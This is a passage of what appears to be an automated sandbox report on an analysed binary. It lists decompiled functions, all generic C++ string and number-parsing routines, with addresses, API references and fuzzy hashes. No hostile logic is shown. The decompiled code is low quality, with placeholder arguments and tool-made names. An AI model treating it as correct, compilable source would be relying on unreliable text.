								if(__eax > 0) {
									goto L37;
								} else {
									__eax = _a4;
									__edx =  *_a4;
									__eax =  *__esi;
									__ecx =  *(__eax - 0xc);
									goto L38;
								}
								goto L41;
							} else {
								__eflags =  *(__eax - 4);
								if( *(__eax - 4) > 0) {
									goto L37;
								}
							}
						}
						L38:
						__edx = __edx + __edi * 2;
						__ecx = __eax + __ecx * 2;
						__eflags = __ebx - 1;
						if(__ebx == 1) {
							__edx =  *__edx & 0x0000ffff;
							 *__ecx = __dx;
						} else {
							__ebx = __ebx + __ebx;
							__eflags = __ebx;
							__eax = memcpy(__ecx, __edx, __ebx);
							__eax =  *__esi;
						}
						__edx = 0;
						__eflags = 0;
						 *(__eax - 4) = 0;
						 *(__eax - 0xc) = __ebp;
						 *(__eax + __ebp * 2) = __dx;
					}
					L41:
					__esp =  &(__esp[7]);
					__eax = __esi;
					return __esi;
				}
				L46:
			}

0x00450600
0x00450604
0x0045060b
0x0045060f
0x00450615
0x0045061a
0x004506c0
0x004506c4
0x004506c8
0x004506d0
0x004506d7
0x00450451
0x00450453
0x00450454
0x00450456
0x00450459
0x0045045d
0x00450463
0x004504d2
0x004504db
0x00450465
0x00450465
0x0045046c
0x0045046f
0x00450473
0x0045053f
0x00450546
0x00450550
0x00450551
0x00450552
0x00450553
0x00450554
0x00450556
0x00450559
0x0045055d
0x0045055f
0x00450562
0x00450564
0x00450566
0x00450568
0x0045056b
0x0045056e
0x00450571
0x004505c0
0x004505c7
0x004505db
0x004505dd
0x00000000
0x004505df
0x004505df
0x004505e1
0x004505e3
0x00000000
0x004505e3
0x004505c9
0x004505c9
0x004505cd
0x00000000
0x004505cf
0x00000000
0x004505cf
0x004505cd
0x00000000
0x00450573
0x00450573
0x00450573
0x00450578
0x0045057d
0x0045057f
0x00450581
0x00450584
0x00450584
0x00450587
0x00450587
0x0045058a
0x0045058d
0x004505f3
0x0045058f
0x0045058f
0x0045058f
0x00450591
0x00450595
0x00450599
0x0045059c
0x004505a1
0x004505a1
0x004505a3
0x004505a5
0x004505ac
0x004505af
0x004505af
0x004505bc
0x00450479
0x00450479
0x00450480
0x00450510
0x00450516
0x00450518
0x00450533
0x00450535
0x00450537
0x00000000
0x0045053d
0x00000000
0x0045053d
0x0045051a
0x0045051d
0x0045051f
0x00000000
0x00450521
0x00000000
0x00450521
0x0045051f
0x00000000
0x00450486
0x00450486
0x00450488
0x00450494
0x00450499
0x0045049e
0x004504a0
0x004504a3
0x004504a6
0x004504a6
0x004504ac
0x00000000
0x00000000
0x00000000
0x00000000
0x004504e0
0x004504e0
0x004504e5
0x004504e7
0x004504ec
0x004504ee
0x004504f1
0x004504f1
0x004504f3
0x004504f6
0x004504f9
0x004504fc
0x004504ae
0x004504b0
0x004504b4
0x004504b8
0x004504bb
0x004504c0
0x004504fe
0x004504fe
0x00450501
0x00450501
0x004504fc
0x00450488
0x004504c4
0x004504cb
0x004504ce
0x00000000
0x004504ce
0x00450473
0x00450620
0x00450620
0x00450622
0x00450624
0x00450626
0x00450629
0x0045062b
0x0045062d
0x0045062f
0x00450632
0x00450635
0x00450638
0x00450649
0x00450649
0x0045064c
0x0045064e
0x00450653
0x00450656
0x0045065a
0x0045065c
0x0045065e
0x0045063a
0x0045063a
0x00450641
0x004506a0
0x004506a3
0x004506a5
0x00000000
0x004506a7
0x004506a7
0x004506ab
0x004506ad
0x004506af
0x00000000
0x004506af
0x00000000
0x00450643
0x00450643
0x00450647
0x00000000
0x00000000
0x00450647
0x00450641
0x00450661
0x00450661
0x00450664
0x00450667
0x0045066a
0x004506b8
0x004506bb
0x0045066c
0x0045066c
0x0045066c
0x00450679
0x0045067e
0x0045067e
0x00450680
0x00450680
0x00450682
0x00450689
0x0045068c
0x0045068c
0x00450690
0x00450690
0x00450693
0x00450699
0x00450699
0x00000000

APIs

memcpy.MSVCRT ref: 00450679

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 004506D0
basic_string::append, xrefs: 004506C8

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: 4127f41c906c7d8c27e6570ed01255c3b95e3f216b2cf8b732a952091b589027
Instruction ID: fff34d840c1f5cedccf6c5d1c8afa9183cc60e69da71e181a28655a5ae341bb1
Opcode Fuzzy Hash: 4127f41c906c7d8c27e6570ed01255c3b95e3f216b2cf8b732a952091b589027
Instruction Fuzzy Hash: C1214678606701DFC710DF1AC08892AF7E5FF89705F50896EE8848B322D778E859CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0045A490 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 76
stringCOMMON

Download Yara Rule

C-Code - Quality: 18%

			E0045A490(char* __ecx, void* __edi, void* __ebp, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, char _a16) {
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				void* __ebx;
				void* __esi;
				intOrPtr _t18;
				int _t20;
				intOrPtr _t37;
				char _t43;
				intOrPtr _t48;
				char* _t49;
				intOrPtr _t50;
				char* _t53;
				intOrPtr _t56;
				void* _t59;
				char** _t60;
				intOrPtr* _t61;
				char** _t64;

				_push(__ebp);
				_push(__edi);
				_t31 = __ecx;
				_t60 = _t59 - 0x1c;
				_t37 =  *((intOrPtr*)(__ecx));
				_t48 = _a4;
				_t56 = _a12;
				_t43 = _a16;
				_t18 = _a8 - _t48;
				_t49 = _t48 - _t37;
				_t41 = _t18 + 0x3ffffffc -  *((intOrPtr*)(_t37 - 0xc));
				if(_t18 + 0x3ffffffc -  *((intOrPtr*)(_t37 - 0xc)) < _t56) {
					 *_t60 = "basic_string::_M_replace_aux";
					L004997B0(_t41, _t43);
					_push(_t49);
					_t61 = _t60 - 0x14;
					_t50 = _v32;
					 *_t61 = _t50;
					_t20 = strlen(_t31);
					_v64 = _t50;
					_v60 = _t20;
					_v68 = _v36;
					 *_t61 = _v40;
					return E0045A560(_t37, _t37, _t43, _t50);
				} else {
					_v36 = _t56;
					_v40 = _t18;
					 *_t60 = _t49;
					E0045AAF0(__ecx);
					_t64 = _t60 - 0xc;
					if(_t56 == 0) {
						L4:
						return _t31;
					} else {
						_t53 =  &(_t49[ *((intOrPtr*)(__ecx))]);
						if(_t56 == 1) {
							 *_t53 = _t43;
							return __ecx;
						} else {
							_v36 = _t56;
							 *_t64 = _t53;
							_v40 = _t43;
							memset(??, ??, ??);
							goto L4;
						}
					}
				}
			}

0x0045a490
0x0045a491
0x0045a494
0x0045a496
0x0045a499
0x0045a49b
0x0045a4a3
0x0045a4a7
0x0045a4ab
0x0045a4ad
0x0045a4b5
0x0045a4ba
0x0045a510
0x0045a517
0x0045a520
0x0045a524
0x0045a527
0x0045a52b
0x0045a52e
0x0045a533
0x0045a539
0x0045a541
0x0045a549
0x0045a559
0x0045a4bc
0x0045a4bc
0x0045a4c2
0x0045a4c6
0x0045a4c9
0x0045a4ce
0x0045a4d3
0x0045a4f1
0x0045a4fa
0x0045a4d5
0x0045a4d5
0x0045a4da
0x0045a502
0x0045a50d
0x0045a4dc
0x0045a4de
0x0045a4e5
0x0045a4e8
0x0045a4ec
0x00000000
0x0045a4ec
0x0045a4da
0x0045a4d3

APIs

strlen.MSVCRT ref: 0045A52E

Part of subcall function 0045AAF0: memcpy.MSVCRT ref: 0045AB80

memset.MSVCRT ref: 0045A4EC

Strings

basic_string::_M_replace_aux, xrefs: 0045A510

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memcpymemsetstrlen
String ID: basic_string::_M_replace_aux
API String ID: 160209724-2536181960
Opcode ID: 0b5b877acc928e04bc4f2147dc78b133f165bb11c072edf5233f9309338311d4
Instruction ID: 8e93a04011af98d53d3b250d2ad16153fcc87c8abb4caf5041dba90ede9d05c0
Opcode Fuzzy Hash: 0b5b877acc928e04bc4f2147dc78b133f165bb11c072edf5233f9309338311d4
Instruction Fuzzy Hash: 882180B2A093149FC300AF2D958441FFBE4EB85314F458A2FF88897302E7759954CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00412860 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E00412860(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4) {
				intOrPtr _v24;
				intOrPtr _v48;
				signed int _t27;
				signed int _t31;
				intOrPtr* _t36;
				intOrPtr* _t38;
				void* _t43;
				char* _t46;
				char* _t47;
				void* _t51;
				char** _t52;
				char** _t53;

				_t40 = __ecx;
				_t52 = _t51 - 0x14;
				_t46 =  *( *((intOrPtr*)(_a4 + 8)) + 0x28);
				 *__ecx = __ecx + 8;
				if(_t46 == 0) {
					 *_t52 = "basic_string: construction from null is not valid";
					L004996C0(_t43, __edi);
					_push(_t46);
					_t53 = _t52 - 0x14;
					_t47 =  *( *((intOrPtr*)(_v24 + 8)) + 0x20);
					 *_t40 = _t40 + 8;
					if(_t47 == 0) {
						 *_t53 = "basic_string: construction from null is not valid";
						L004996C0(_t43, __edi);
						return  *( *((intOrPtr*)(_t40 + 8)) + 0x14) & 0x0000ffff;
					} else {
						 *_t53 = _t47;
						_t36 = _t40;
						_t27 = wcslen(??);
						 *_t53 = _t47;
						_v48 = _t47 + _t27 * 2;
						E00486AA0(_t36);
						return _t36;
					}
				} else {
					 *_t52 = _t46;
					_t38 = __ecx;
					_t31 = wcslen(??);
					 *_t52 = _t46;
					_v24 = _t46 + _t31 * 2;
					E00486AA0(_t38);
					return _t38;
				}
			}

0x00412860
0x00412862
0x0041286c
0x00412872
0x00412876
0x004128a0
0x004128a7
0x004128b0
0x004128b2
0x004128bc
0x004128c2
0x004128c6
0x004128f0
0x004128f7
0x00412907
0x004128c8
0x004128c8
0x004128cb
0x004128cd
0x004128d2
0x004128da
0x004128de
0x004128ed
0x004128ed
0x00412878
0x00412878
0x0041287b
0x0041287d
0x00412882
0x0041288a
0x0041288e
0x0041289d
0x0041289d

APIs

wcslen.MSVCRT ref: 0041287D
wcslen.MSVCRT ref: 004128CD

Strings

basic_string: construction from null is not valid, xrefs: 004128A0, 004128F0

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 9bf4aeea67eb3972bd923f63f680f5491535e8b243919b0170479165745e611b
Instruction ID: 9ea7e0be3f9af90ef895bddb073447a8bed22469baa5e659b9ee83e68b5fb989
Opcode Fuzzy Hash: 9bf4aeea67eb3972bd923f63f680f5491535e8b243919b0170479165745e611b
Instruction Fuzzy Hash: 0D1160B19153148BCB10BF2CC18486ABBF4BF45714F06496EE8C4AB312E635EC95CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00412C50 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E00412C50(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4) {
				intOrPtr _v24;
				intOrPtr _v48;
				signed int _t27;
				signed int _t31;
				intOrPtr* _t36;
				intOrPtr* _t38;
				void* _t43;
				char* _t46;
				char* _t47;
				void* _t51;
				char** _t52;
				char** _t53;

				_t40 = __ecx;
				_t52 = _t51 - 0x14;
				_t46 =  *( *((intOrPtr*)(_a4 + 8)) + 0x28);
				 *__ecx = __ecx + 8;
				if(_t46 == 0) {
					 *_t52 = "basic_string: construction from null is not valid";
					L004996C0(_t43, __edi);
					_push(_t46);
					_t53 = _t52 - 0x14;
					_t47 =  *( *((intOrPtr*)(_v24 + 8)) + 0x20);
					 *_t40 = _t40 + 8;
					if(_t47 == 0) {
						 *_t53 = "basic_string: construction from null is not valid";
						L004996C0(_t43, __edi);
						return  *( *((intOrPtr*)(_t40 + 8)) + 0x14) & 0x0000ffff;
					} else {
						 *_t53 = _t47;
						_t36 = _t40;
						_t27 = wcslen(??);
						 *_t53 = _t47;
						_v48 = _t47 + _t27 * 2;
						E00486AA0(_t36);
						return _t36;
					}
				} else {
					 *_t52 = _t46;
					_t38 = __ecx;
					_t31 = wcslen(??);
					 *_t52 = _t46;
					_v24 = _t46 + _t31 * 2;
					E00486AA0(_t38);
					return _t38;
				}
			}

0x00412c50
0x00412c52
0x00412c5c
0x00412c62
0x00412c66
0x00412c90
0x00412c97
0x00412ca0
0x00412ca2
0x00412cac
0x00412cb2
0x00412cb6
0x00412ce0
0x00412ce7
0x00412cf7
0x00412cb8
0x00412cb8
0x00412cbb
0x00412cbd
0x00412cc2
0x00412cca
0x00412cce
0x00412cdd
0x00412cdd
0x00412c68
0x00412c68
0x00412c6b
0x00412c6d
0x00412c72
0x00412c7a
0x00412c7e
0x00412c8d
0x00412c8d

APIs

wcslen.MSVCRT ref: 00412C6D
wcslen.MSVCRT ref: 00412CBD

Strings

basic_string: construction from null is not valid, xrefs: 00412C90, 00412CE0

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 9bf4aeea67eb3972bd923f63f680f5491535e8b243919b0170479165745e611b
Instruction ID: 07f7458c26458b9f843b5b7e47e1f980d1427524662a022a5fcebf2312c3da90
Opcode Fuzzy Hash: 9bf4aeea67eb3972bd923f63f680f5491535e8b243919b0170479165745e611b
Instruction Fuzzy Hash: 191160B19052148BCB10BF2CC58486ABBF4BF45714F06486EE8C4AB311E635EC94CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00420CA0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1123
COMMONCrypto

Download Yara Rule

C-Code - Quality: 35%

			E00420CA0(void* __eflags, signed int _a4, signed char _a8, signed int _a12, intOrPtr _a16, signed int _a20, signed int _a24, intOrPtr* _a28) {
				void* _v16;
				char _v44;
				signed int _v48;
				char _v52;
				char _v68;
				signed int _v72;
				char _v76;
				signed char _v77;
				char _v78;
				char _v80;
				signed int _v96;
				signed int _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				void* _v124;
				signed int _v125;
				char _v126;
				signed int _v127;
				intOrPtr _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				void* _v184;
				void* _v196;
				void* _v200;
				signed int _t554;
				signed char _t560;
				signed int _t561;
				intOrPtr* _t562;
				signed int _t570;
				signed int _t571;
				signed int _t576;
				signed int _t578;
				signed int _t579;
				signed int _t581;
				signed int _t678;
				void* _t716;
				signed int _t736;
				signed int _t749;
				void* _t761;
				void* _t762;
				void* _t763;
				void* _t765;

				_t763 = _t762 - 0x9c;
				_t678 = _a4;
				_v104 = _a16;
				_v96 = _a8;
				_v100 = _a12;
				_t554 = _a20 + 0x6c;
				_v108 = _t554;
				_v172 = _t554;
				_v140 = E00494F00(__eflags);
				_t749 = E00410230(0x4c51ec);
				_t560 =  *((intOrPtr*)( *((intOrPtr*)(_a20 + 0x6c)) + 0xc)) + _t749 * 4;
				_v116 = _t560;
				_t561 =  *_t560;
				_v112 = _t561;
				if(_t561 == 0) {
					_t562 = E00497960(0x44);
					 *(_t562 + 4) = 0;
					_t736 = _t562;
					 *_t562 = 0x4d2da4;
					 *(_t562 + 8) = 0;
					 *(_t562 + 0xc) = 0;
					 *((char*)(_t562 + 0x10)) = 0;
					 *(_t736 + 0x14) = 0;
					 *((short*)(_t736 + 0x11)) =  *0x4c9a04 & 0x0000ffff;
					 *(_t736 + 0x18) = 0;
					 *(_t736 + 0x1c) = 0;
					 *(_t736 + 0x20) = 0;
					 *(_t736 + 0x24) = 0;
					 *(_t736 + 0x28) = 0;
					 *(_t736 + 0x2c) = 0;
					 *(_t736 + 0x30) = 0;
					 *(_t736 + 0x34) = 0;
					 *((char*)(_t736 + 0x43)) = 0;
					_v172 = _v108;
					E0047C1E0(_t736, __eflags);
					_v172 = _t749;
					_v176 = _t736;
					L0047F340( *((intOrPtr*)(_a20 + 0x6c)));
					_t763 = _t763 - 0xfffffffffffffffc;
					_v112 =  *_v116;
				}
				_t570 = _v112;
				_v132 = _t570 + 0x38;
				if( *(_t570 + 0x20) != 0) {
					_t571 = _v112;
					__eflags =  *(_t571 + 0x28);
					_v127 =  *(_t571 + 0x28) != 0;
				} else {
					_v127 = 0;
				}
				_v72 = 0;
				_v76 =  &_v68;
				_v68 = 0;
				if( *((char*)(_v112 + 0x10)) != 0) {
					_v180 = 0x20;
					E00484B20( &_v76, _t716);
					_t763 = _t763 - 4;
				}
				_v48 = 0;
				_v52 =  &_v44;
				_v44 = 0;
				_v180 = 0x20;
				E00484B20( &_v52, _t716);
				_t576 = _v112;
				_v125 = 0;
				_t765 = _t763 - 4;
				_v108 = 0;
				_v116 = 0;
				_v124 = _t576 + 0x39;
				_v80 =  *((intOrPtr*)(_t576 + 0x34));
				_v148 = 0;
				_v136 = 0;
				_v126 = 0;
				goto L6;
				do {
					while(1) {
						L6:
						_t578 = _v108;
						if( *(_t761 + _t578 - 0x4c) > 4) {
							break;
						}
						switch( *((intOrPtr*)(( *(_t761 + _t578 - 0x4c) & 0x000000ff) * 4 +  &M004C97F0))) {
							case 0:
								_v120 = 1;
								goto L34;
							case 1:
								__eflags = _v96 - 0xffffffff;
								__eax = __eax & 0xffffff00 | _v96 == 0xffffffff;
								__eflags = __ebx;
								__edi = __eax;
								__eax = __eax & 0xffffff00 | __ebx != 0x00000000;
								__ecx = __edi;
								__al = __al & __cl;
								__eflags = __al;
								__esi = __eax;
								if(__al != 0) {
									__eax =  *(__ebx + 0xc);
									__eflags =  *(__ebx + 8) - __eax;
									if( *(__ebx + 8) >= __eax) {
										__eax =  *__ebx;
										__ecx = __ebx;
										__eax =  *((intOrPtr*)( *__ebx + 0x24))();
										__eflags =  *__ebx - 0xffffffff;
										__eax = 0;
										__esi =  !=  ? 0 : __esi;
										__eax = 0;
										__ebx =  ==  ? 0 : __ebx;
									} else {
										__esi = 0;
									}
								} else {
									__esi = __edi;
								}
								__edx = _v100;
								__eflags = _v104 - 0xffffffff;
								__eax = __eax & 0xffffff00 | _v104 == 0xffffffff;
								__eflags = __edx;
								__edx = __edx & 0xffffff00 | __edx != 0x00000000;
								__dl = __dl & __al;
								__eflags = __dl;
								_v120 = __dl;
								if(__dl != 0) {
									__edx = _v100;
									__eax = 0;
									__ecx =  *(__edx + 0xc);
									__eflags =  *((intOrPtr*)(__edx + 8)) -  *(__edx + 0xc);
									if( *((intOrPtr*)(__edx + 8)) >=  *(__edx + 0xc)) {
										__eax =  *__edx;
										__ecx = __edx;
										__eax =  *((intOrPtr*)( *__edx + 0x24))();
										__edx = _v120 & 0x000000ff;
										__eflags = __eax - 0xffffffff;
										__eax = 0;
										__eax =  ==  ? _v120 & 0x000000ff : 0;
										__edx = 0;
										__edx =  !=  ? _v100 : 0;
										_v100 = 0;
									}
								}
								__ecx = __esi;
								_v120 = 0;
								__eflags = __cl - __al;
								if(__cl == __al) {
									L34:
									__eflags = _v108 - 3;
									if(_v108 != 3) {
										while(1) {
											__eflags = _v96 - 0xffffffff;
											__eax = __eax & 0xffffff00 | _v96 == 0xffffffff;
											__eflags = __ebx;
											__edi = __eax;
											__eax = __eax & 0xffffff00 | __ebx != 0x00000000;
											__ecx = __edi;
											__al = __al & __cl;
											__eflags = __al;
											__esi = __eax;
											if(__al == 0) {
												__esi = __edi;
											} else {
												__eax =  *(__ebx + 0xc);
												__eflags =  *(__ebx + 8) - __eax;
												if( *(__ebx + 8) >= __eax) {
													__eax =  *__ebx;
													__ecx = __ebx;
													__eax =  *((intOrPtr*)( *__ebx + 0x24))();
													__eflags =  *__ebx - 0xffffffff;
													__eax = 0;
													__esi =  !=  ? 0 : __esi;
													__eax = 0;
													__ebx =  ==  ? 0 : __ebx;
												} else {
													__esi = 0;
												}
											}
											L53:
											__ecx = _v100;
											__eflags = _v104 - 0xffffffff;
											__eax = __eax & 0xffffff00 | _v104 == 0xffffffff;
											__eflags = _v100;
											__edx = __edx & 0xffffff00 | _v100 != 0x00000000;
											__dl = __dl & __al;
											__eflags = __dl;
											_v144 = __dl;
											if(__dl != 0) {
												__edx = _v100;
												__eax = 0;
												__ecx =  *(__edx + 0xc);
												__eflags =  *((intOrPtr*)(__edx + 8)) -  *(__edx + 0xc);
												if( *((intOrPtr*)(__edx + 8)) >=  *(__edx + 0xc)) {
													__eax =  *__edx;
													__ecx = __edx;
													__eax =  *((intOrPtr*)( *__edx + 0x24))();
													__edx = _v144 & 0x000000ff;
													__eflags = __eax - 0xffffffff;
													__eax = 0;
													__eax =  ==  ? _v144 & 0x000000ff : 0;
													__edx = 0;
													__edx =  !=  ? _v100 : 0;
													_v100 = 0;
												}
											}
											__ecx = __esi;
											__eflags = __al - __cl;
											if(__al == __cl) {
												goto L68;
											} else {
												__eflags = __ebx;
												if(__ebx == 0) {
													L57:
													__eax = _v96;
													L58:
													__esi = _v140;
													__eax = __al & 0x000000ff;
													__edx =  *(__esi + 0x18);
													__eflags =  *(__edx + __eax * 2) & 0x00000020;
													if(( *(__edx + __eax * 2) & 0x00000020) == 0) {
														goto L68;
													}
													__eax =  *(__ebx + 8);
													__eflags = __eax -  *(__ebx + 0xc);
													if(__eax >=  *(__ebx + 0xc)) {
														__eax =  *__ebx;
														__ecx = __ebx;
														__eax =  *((intOrPtr*)( *__ebx + 0x28))();
														L61:
														_v96 = 0xffffffff;
														__eflags = _v96 - 0xffffffff;
														__eax = __eax & 0xffffff00 | _v96 == 0xffffffff;
														__eflags = __ebx;
														__edi = __eax;
														__eax = __eax & 0xffffff00 | __ebx != 0x00000000;
														__ecx = __edi;
														__al = __al & __cl;
														__eflags = __al;
														__esi = __eax;
														if(__al == 0) {
															__esi = __edi;
														} else {
															__eax =  *(__ebx + 0xc);
															__eflags =  *(__ebx + 8) - __eax;
															if( *(__ebx + 8) >= __eax) {
																__eax =  *__ebx;
																__ecx = __ebx;
																__eax =  *((intOrPtr*)( *__ebx + 0x24))();
																__eflags =  *__ebx - 0xffffffff;
																__eax = 0;
																__esi =  !=  ? 0 : __esi;
																__eax = 0;
																__ebx =  ==  ? 0 : __ebx;
															} else {
																__esi = 0;
															}
														}
														goto L53;
													}
													L60:
													__eax = __eax + 1;
													__eflags = __eax;
													 *(__ebx + 8) = __eax;
													goto L61;
												}
												__eax = __edi;
												__eflags = __al;
												if(__al != 0) {
													__eax =  *(__ebx + 8);
													__eflags = __eax -  *(__ebx + 0xc);
													if(__eax >=  *(__ebx + 0xc)) {
														__eax =  *__ebx;
														__ecx = __ebx;
														__eax =  *((intOrPtr*)( *__ebx + 0x24))();
														__edx = 0;
														__eflags =  *__ebx - 0xffffffff;
														__ebx =  ==  ? 0 : __ebx;
														goto L58;
													}
													__edi = _v140;
													__ecx =  *__eax & 0x000000ff;
													__edx =  *(__edi + 0x18);
													__eflags =  *(__edx + __ecx * 2) & 0x00000020;
													if(( *(__edx + __ecx * 2) & 0x00000020) != 0) {
														goto L60;
													}
													_v96 = 0xffffffff;
													goto L68;
												}
												goto L57;
											}
										}
									} else {
										__eflags = _v136 - 1;
										__eax = __eax & 0xffffff00 | _v136 - 0x00000001 > 0x00000000;
										__eflags = __al;
										L36:
										__eflags = _t581;
										if(_t581 == 0) {
											__eflags = _v120;
											if(_v120 == 0) {
												goto L99;
											}
											__eflags = _v48 - 1;
											if(_v48 <= 1) {
												L173:
												__eflags = _v126;
												if(_v126 != 0) {
													__eflags =  *_v52 - 0x30;
													if( *_v52 != 0x30) {
														 *(_t765 + 0xc) = 0x2d;
														_v172 = 1;
														_v176 = 0;
														_v180 = 0;
														E00482FD0(_t678,  &_v52, _t738, _t750, _t761);
														_t765 = _t765 - 0x10;
													}
												}
												_t743 = _v72;
												__eflags = _t743;
												if(_t743 != 0) {
													__eflags = _v125;
													_t601 =  ==  ? _v116 & 0x000000ff : _v148 & 0x000000ff;
													_t385 = _t743 + 1; // 0x1
													_t754 = _t385;
													_v108 =  ==  ? _v116 & 0x000000ff : _v148 & 0x000000ff;
													_t602 = _v76;
													__eflags = _t602 -  &_v68;
													if(_t602 ==  &_v68) {
														_t718 = 0xf;
													} else {
														_t718 = _v68;
													}
													__eflags = _t718 - _t754;
													if(_t718 < _t754) {
														 *(_t765 + 0xc) = 1;
														_v172 = 0;
														_v176 = 0;
														_v180 = _t743;
														E00484F90( &_v76);
														_t602 = _v76;
														_t765 = _t765 - 0x10;
													}
													 *((char*)(_t602 + _t743)) = _v108 & 0x000000ff;
													_v72 = _t754;
													 *((char*)(_v76 + _t743 + 1)) = 0;
													_v172 =  &_v76;
													_t745 = _v112;
													_v176 =  *((intOrPtr*)(_t745 + 0xc));
													_v180 =  *((intOrPtr*)(_t745 + 8));
													_t608 = E00493040();
													__eflags = _t608;
													if(_t608 == 0) {
														_t609 = _a24;
														 *_t609 =  *_t609 | 0x00000004;
														__eflags =  *_t609;
													}
												}
												__eflags = _v96 - 0xffffffff;
												_v108 = _v96 == 0xffffffff;
												__eflags = _v125;
												if(_v125 == 0) {
													L184:
													_v180 =  &_v52;
													_t597 = E004831F0(_a28);
													__eflags = _t678;
													_t584 = (_t597 & 0xffffff00 | _t678 != 0x00000000) & _v108;
													__eflags = _t584;
													_t751 = _t584;
													if(_t584 == 0) {
														goto L101;
													}
													goto L186;
												} else {
													_t599 = _v112;
													__eflags =  *((intOrPtr*)(_t599 + 0x2c)) - _v116;
													if( *((intOrPtr*)(_t599 + 0x2c)) != _v116) {
														goto L100;
													}
													goto L184;
												}
											}
											L198:
											_v176 = 0;
											_v180 = 0x30;
											_t612 = L00413450( &_v52);
											_t765 = _t765 - 8;
											__eflags = _t612;
											if(_t612 == 0) {
												goto L173;
											}
											_t720 = _v48;
											__eflags = _t612 - 0xffffffff;
											if(_t612 == 0xffffffff) {
												_t517 = _t720 - 1; // 0x0
												_t612 = _t517;
												__eflags = _t720;
												if(_t720 == 0) {
													 *_v52 = 0;
													goto L173;
												}
												__eflags = _t612;
												if(_t612 == 0) {
													goto L173;
												}
											}
											__eflags = _t612 - _t720;
